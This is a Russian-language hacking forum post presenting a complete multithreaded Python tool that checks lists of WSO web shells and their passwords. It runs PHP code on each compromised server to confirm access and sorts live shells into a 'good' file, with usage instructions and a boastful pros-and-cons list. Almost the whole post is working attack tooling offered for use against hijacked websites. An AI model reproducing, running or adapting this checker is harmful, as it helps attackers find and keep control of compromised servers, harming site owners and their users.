Многопоточный WSO-чекер

Тема в разделе "Вирусология", создана пользователем Admin, 14 ноя 2016.

  1. Admin

    Admin Голова лаборатории

    Сообщения:
    524
    Симпатии:
    337
    [​IMG]
    Хай, поцанчики! Свежий говнорелиз, многопоточный чекер WSO:
    Код:
    #!/usr/bin/python
    #coding:utf-8
    
    import threading
    import requests
    import time
    import hashlib
    import sys
    import argparse
    from urlparse import urlparse
    
    def createParser():
        parser = argparse.ArgumentParser()
        parser.add_argument ('-t','--threads', default='50', help="Number of threads", metavar="")
        parser.add_argument ('-s','--splitter', default='|', help="Type of splitter - | or ; or # or something else", metavar="")
        parser.add_argument ('-u','--urls', default='urls.txt', help= "File with urls to shells and passwords", metavar="")
        return parser
    
    def banner():
        print("""
     #################################################################
     #  _       _______ ____          __              __             #
     # | |     / / ___// __ \   _____/ /_  ___  _____/ /_____  _____ #
     # | | /| / /\__ \/ / / /  / ___/ __ \/ _ \/ ___/ //_/ _ \/ ___/ #
     # | |/ |/ /___/ / /_/ /  / /__/ / / /  __/ /__/ ,< /  __/ /     #
     # |__/|__//____/\____/   \___/_/ /_/\___/\___/_/|_|\___/_/      #
     #                                                               #
     #################################################################
    """)
    
    class myThread (threading.Thread):
        def __init__(self, threadID):
            threading.Thread.__init__(self)
            self.threadID = threadID
    
        def run(self):
            while True:
                url = get_link()
                if not url:
                    print_status("stop")
                    break
                shell = url.split(splitter)
                result = check_shell(shell[0].strip(), shell[1].strip(), test_word)
                if result == "Valid pass":
                    log_to_file("good",shell[0].strip()+splitter+shell[1].strip()+"\n")
                elif result == "Wrong pass":
                    log_to_file("bad",shell[0].strip()+splitter+shell[1].strip()+"\n")
                elif result == "Shell not found":
                    log_to_file("notfound",shell[0].strip()+splitter+shell[1].strip()+"\n")
                else:
                    log_to_file("error",shell[0].strip()+splitter+shell[1].strip()+"\n")
                if die == True:
                    print_status("stop")
                    break
                print_status("work")
    
    def check_shell(shell_url, shell_pass, testword, timeout=(20)):
        u = urlparse(shell_url)
        paramsPost = {
            "a":"Php",
            "p1":"echo md5('"+testword+"');",
            "ajax":"true"
            }
        headers = {
            "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "User-Agent":"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
            "Connection":"keep-alive",
            "Accept-Encoding":"gzip, deflate",
            "Content-Type":"application/x-www-form-urlencoded"
            }
        cookies = {hashlib.md5(u.netloc).hexdigest():hashlib.md5(shell_pass).hexdigest()}
    
        try:
            r = requests.post(shell_url, stream=True, data=paramsPost, headers=headers, cookies=cookies, timeout=timeout)
        except Exception,e:
            return "error %s" % e
        
        content = ""
        try:
            for chunk in r.iter_content(chunk_size=512):
                if chunk:
                    content = chunk
                    break
        except Exception,e:
            return "error %s" % e
    
        if content.find(hashlib.md5(testword).hexdigest()) != -1:
            return "Valid pass"
        elif content.find("Password: ") != -1:
            return "Wrong pass"
        else:
            return "Shell not found"
    
    def print_status(type):
        threadLock.acquire()
        if type == "work":
            sys.stdout.write("\r WORKING! Good: "+str(good)+" Bad: "+str(bad)+" Errors: "+str(errors)+" Threads: "+str(threading.activeCount()-1)+"  ")
        if type == "stop":
            sys.stdout.write("\r STOPPED! Good: "+str(good)+" Bad: "+str(bad)+" Errors: "+str(errors)+" Threads: "+str(threading.activeCount()-2)+"  ")
        threadLock.release()
    
    def get_link():
        threadLock.acquire()
        if not urls_list:
            threadLock.release()
            return False
        url = urls_list.pop()
        threadLock.release()
        return url
    
    def increase_counter(name):
        global good
        global bad
        global errors
        if name == "good":
            good += 1
        elif name == "bad" or name == "notfound":
            bad += 1
        elif name == "error":
            errors +=1
    
    def log_to_file(name,shell):
        threadLock.acquire()
        f1=open("{}.txt".format(name),"a")
        f1.write(shell)
        f1.close()
        increase_counter(name)
        threadLock.release()
    
    # Понеслась пизда по кочкам
    parser = createParser()
    namespace = parser.parse_args(sys.argv[1:])
    num_thr = int(namespace.threads)
    splitter = namespace.splitter
    urls = namespace.urls
    test_word = "veni vedi vici"
    
    good = 0
    bad = 0
    errors = 0
    die = False
    
    f_urls = open(urls,"r")
    urls_list = f_urls.readlines()
    banner()
    threadLock = threading.Lock()
    for x in range(num_thr):
        t1 = myThread(x)
        t1.start()
    while True:
        try:
            if threading.activeCount()==1:
                exit()
        except KeyboardInterrupt:
            die = True
            exit()
    А вот самая полная (и единственная) справка по всем ключам этой тулзы:
    • -h, --help Показывает справку (но на корявом англицком)
    • -t, --threads Указываем количество потоков (по умолчанию - 50)
    • -s, --splitter Указываем, какой разделитель использовали в файле с шеллами (по умолчанию - "|")
    • -u, --urls Имя файла, в котором находятся ссылки на шеллы и через разделитель пароли (по умолчанию - "urls.txt")
    Результаты:
    • good.txt - сюда складируются валидные шеллы.
    • bad.txt - шеллы есть, но пасс не подошел.
    • error.txt - линки, которые вызвали ошибки (таймаут, 503 и т.д.).
    • notfound.txt - где не найдено никакого шелла (удалили, например).
    Плюсы и минусы:
    [+] Чекер многопоточный.
    [+] Код открыт и бекдоров нет (100%).

    [+] Написан на модном и молодежном Python.
    [-] Надо ставить либу requests